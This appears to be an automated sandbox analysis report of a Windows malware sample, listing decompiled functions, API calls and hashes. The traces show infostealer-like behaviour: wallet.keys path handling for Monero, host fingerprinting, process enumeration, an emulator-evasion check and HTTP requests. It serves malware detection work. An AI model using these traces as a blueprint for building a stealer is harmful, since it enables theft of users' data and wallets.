Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: fc073b6825bd6f1452eb1c70d2759aa9273faef96e076e046ac98f08505a0184
Instruction ID: e746f880ac78f7af5572047ee492d8b1fec79d5aa31854d4db0bccda863a35ad
Opcode Fuzzy Hash: fc073b6825bd6f1452eb1c70d2759aa9273faef96e076e046ac98f08505a0184
Instruction Fuzzy Hash: C111FE30910148ABCB54FF78DD52AED7378EF51340F804658F81B5A592EF34AB05C6B5

Function 00DA4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DA4F7A
lstrcat.KERNEL32(?,00DB1070), ref: 00DA4F97
lstrcat.KERNEL32(?,01949890), ref: 00DA4FAB
lstrcat.KERNEL32(?,00DB1074), ref: 00DA4FBD

Part of subcall function 00DA4910: wsprintfA.USER32 ref: 00DA492C
Part of subcall function 00DA4910: FindFirstFileA.KERNEL32(?,?), ref: 00DA4943

Part of subcall function 00DA4910: StrCmpCA.SHLWAPI(?,00DB0FDC), ref: 00DA4971
Part of subcall function 00DA4910: StrCmpCA.SHLWAPI(?,00DB0FE0), ref: 00DA4987
Part of subcall function 00DA4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00DA4B7D
Part of subcall function 00DA4910: FindClose.KERNEL32(000000FF), ref: 00DA4B92

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: d18906145fb5c558d3463f1ae1f38cc3c30f8f281e425b49b50a68aa881fd4da
Instruction ID: 0dc5a37641cb003637d73cbaa6677462501b0366b257c898fbdbab98649e4fb7
Opcode Fuzzy Hash: d18906145fb5c558d3463f1ae1f38cc3c30f8f281e425b49b50a68aa881fd4da
Instruction Fuzzy Hash: 6C21B876940208ABC754FBB0EC46EEA333DEB55300F404549B64A52181EE7496C89BB6

Function 00DA0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,019497B0), ref: 00DA079A
StrCmpCA.SHLWAPI(00000000,01949830), ref: 00DA0866
StrCmpCA.SHLWAPI(00000000,019498B0), ref: 00DA099D

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: bdb3f97d1eb188d10fa32b05895866d4f37084a3dff129f30359e5a483d5827f
Instruction ID: b89a086596e62cfd9fe7eedf7a97bf07fd9443b0b57cd8e3a4bc007ac61a0cd4
Opcode Fuzzy Hash: bdb3f97d1eb188d10fa32b05895866d4f37084a3dff129f30359e5a483d5827f
Instruction Fuzzy Hash: 10915A75B102089FCF68EF68D995BEE77B5FF95300F508519E80A9F241DB309A05CBA2

Function 00DA0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,019497B0), ref: 00DA079A
StrCmpCA.SHLWAPI(00000000,01949830), ref: 00DA0866
StrCmpCA.SHLWAPI(00000000,019498B0), ref: 00DA099D

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 6b5b15c2ddf8022cf80da62d2012133651bf6a0e9c234cb70f442b98b0a4853c
Instruction ID: 6567dfaf909408ea70ed0974fb990d1e3bc68ec4bd4c155a05b7628ebb5fcd28
Opcode Fuzzy Hash: 6b5b15c2ddf8022cf80da62d2012133651bf6a0e9c234cb70f442b98b0a4853c
Instruction Fuzzy Hash: 21816B75B101089FCF58EF68D991BEEB7B6FF95300F508519E80A9F251DB309A05CBA2

Function 6C563060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C563095

Part of subcall function 6C5635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C5EF688,00001000), ref: 6C5635D5
Part of subcall function 6C5635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5635E0
Part of subcall function 6C5635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5635FD
Part of subcall function 6C5635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C56363F
Part of subcall function 6C5635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C56369F
Part of subcall function 6C5635A0: __aulldiv.LIBCMT ref: 6C5636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C56309F

Part of subcall function 6C585B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5856EE,?,00000001), ref: 6C585B85
Part of subcall function 6C585B50: EnterCriticalSection.KERNEL32(6C5EF688,?,?,?,6C5856EE,?,00000001), ref: 6C585B90
Part of subcall function 6C585B50: LeaveCriticalSection.KERNEL32(6C5EF688,?,?,?,6C5856EE,?,00000001), ref: 6C585BD8
Part of subcall function 6C585B50: GetTickCount64.KERNEL32 ref: 6C585BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5630BE

Part of subcall function 6C5630F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C563127
Part of subcall function 6C5630F0: __aulldiv.LIBCMT ref: 6C563140

Part of subcall function 6C59AB2A: __onexit.LIBCMT ref: 6C59AB30

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: a0c090a870a51920468157a54fed5ca8908af067233134dbf59e275ad85b4424
Instruction ID: 6af683cd2b3b865d7b5aba0b84225e65bb5a36e6504f94e68832e90846dae1ab
Opcode Fuzzy Hash: a0c090a870a51920468157a54fed5ca8908af067233134dbf59e275ad85b4424
Instruction Fuzzy Hash: 18F0F932E20744D7CB50DF749C412EA7370AFEF214F521719E88563621FF2066D8838A

Function 00DA9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00DA9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00DA94A5
CloseHandle.KERNEL32(00000000), ref: 00DA94AF

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 569aff1dceb7bb2478d83bd648ea389b732c3329bc24cb8cbcde9c0e8c66eeb5
Instruction ID: 5dbfe24ef9653aa998cc8b510b6622bf56e2b95c3d0ddd2b79d7ee36d4f979a2
Opcode Fuzzy Hash: 569aff1dceb7bb2478d83bd648ea389b732c3329bc24cb8cbcde9c0e8c66eeb5
Instruction Fuzzy Hash: 5EF0827490020CFBDB04DFA4DC4AFEE7778EB08300F004598BA0997290D7B06E85DB95

Function 00D91110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D9112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00D91132
ExitProcess.KERNEL32 ref: 00D91143

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 4b2ba12f78381f7e2250d8c5c8e9d69ede5a81cc684051771c4b928ed9bbe0fa
Instruction ID: 6915f811c030930711048d3e872c0882a8028f89dc725badcedcff1466bb8f5e
Opcode Fuzzy Hash: 4b2ba12f78381f7e2250d8c5c8e9d69ede5a81cc684051771c4b928ed9bbe0fa
Instruction Fuzzy Hash: 54E0E67494634CFFEB106BB19C0EB097778EB04B01F104155F709761D0D6B52644A6AD

Function 00DA1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DA7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00DA7542
Part of subcall function 00DA7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DA757F
Part of subcall function 00DA7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DA7603
Part of subcall function 00DA7500: RtlAllocateHeap.NTDLL(00000000), ref: 00DA760A

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DA7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DA76A4
Part of subcall function 00DA7690: RtlAllocateHeap.NTDLL(00000000), ref: 00DA76AB

Part of subcall function 00DA77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00DADBC0,000000FF,?,00DA1C99,00000000,?,0194E2A0,00000000,?), ref: 00DA77F2
Part of subcall function 00DA77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00DADBC0,000000FF,?,00DA1C99,00000000,?,0194E2A0,00000000,?), ref: 00DA77F9

Part of subcall function 00DA7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D911B7), ref: 00DA7880
Part of subcall function 00DA7850: RtlAllocateHeap.NTDLL(00000000), ref: 00DA7887
Part of subcall function 00DA7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00DA789F

Part of subcall function 00DA78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DA7910
Part of subcall function 00DA78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00DA7917
Part of subcall function 00DA78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00DA792F

Part of subcall function 00DA7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00DB0E00,00000000,?), ref: 00DA79B0
Part of subcall function 00DA7980: RtlAllocateHeap.NTDLL(00000000), ref: 00DA79B7
Part of subcall function 00DA7980: GetLocalTime.KERNEL32(?,?,?,?,?,00DB0E00,00000000,?), ref: 00DA79C4
Part of subcall function 00DA7980: wsprintfA.USER32 ref: 00DA79F3

Part of subcall function 00DA7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0194E908,00000000,?,00DB0E10,00000000,?,00000000,00000000), ref: 00DA7A63
Part of subcall function 00DA7A30: RtlAllocateHeap.NTDLL(00000000), ref: 00DA7A6A
Part of subcall function 00DA7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0194E908,00000000,?,00DB0E10,00000000,?,00000000,00000000,?), ref: 00DA7A7D

Part of subcall function 00DA7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0194E908,00000000,?,00DB0E10,00000000,?,00000000,00000000), ref: 00DA7B35

Part of subcall function 00DA7B90: GetKeyboardLayoutList.USER32(00000000,00000000,00DB05AF), ref: 00DA7BE1
Part of subcall function 00DA7B90: LocalAlloc.KERNEL32(00000040,?), ref: 00DA7BF9
Part of subcall function 00DA7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00DA7C0D
Part of subcall function 00DA7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00DA7C62
Part of subcall function 00DA7B90: LocalFree.KERNEL32(00000000), ref: 00DA7D22

Part of subcall function 00DA7D80: GetSystemPowerStatus.KERNEL32(?), ref: 00DA7DAD

GetCurrentProcessId.KERNEL32(00000000,?,0194E220,00000000,?,00DB0E24,00000000,?,00000000,00000000,?,0194E800,00000000,?,00DB0E20,00000000), ref: 00DA207E

Part of subcall function 00DA9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00DA9484
Part of subcall function 00DA9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00DA94A5
Part of subcall function 00DA9470: CloseHandle.KERNEL32(00000000), ref: 00DA94AF

Part of subcall function 00DA7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DA7E37
Part of subcall function 00DA7E00: RtlAllocateHeap.NTDLL(00000000), ref: 00DA7E3E
Part of subcall function 00DA7E00: RegOpenKeyExA.KERNEL32(80000002,0193CB30,00000000,00020119,?), ref: 00DA7E5E
Part of subcall function 00DA7E00: RegQueryValueExA.KERNEL32(?,0194E280,00000000,00000000,000000FF,000000FF), ref: 00DA7E7F
Part of subcall function 00DA7E00: RegCloseKey.ADVAPI32(?), ref: 00DA7E92

Part of subcall function 00DA7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00DA7FC9
Part of subcall function 00DA7F60: GetLastError.KERNEL32 ref: 00DA7FD8

Part of subcall function 00DA7ED0: GetSystemInfo.KERNEL32(00DB0E2C), ref: 00DA7F00
Part of subcall function 00DA7ED0: wsprintfA.USER32 ref: 00DA7F16

Part of subcall function 00DA8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0194E938,00000000,?,00DB0E2C,00000000,?,00000000), ref: 00DA8130
Part of subcall function 00DA8100: RtlAllocateHeap.NTDLL(00000000), ref: 00DA8137
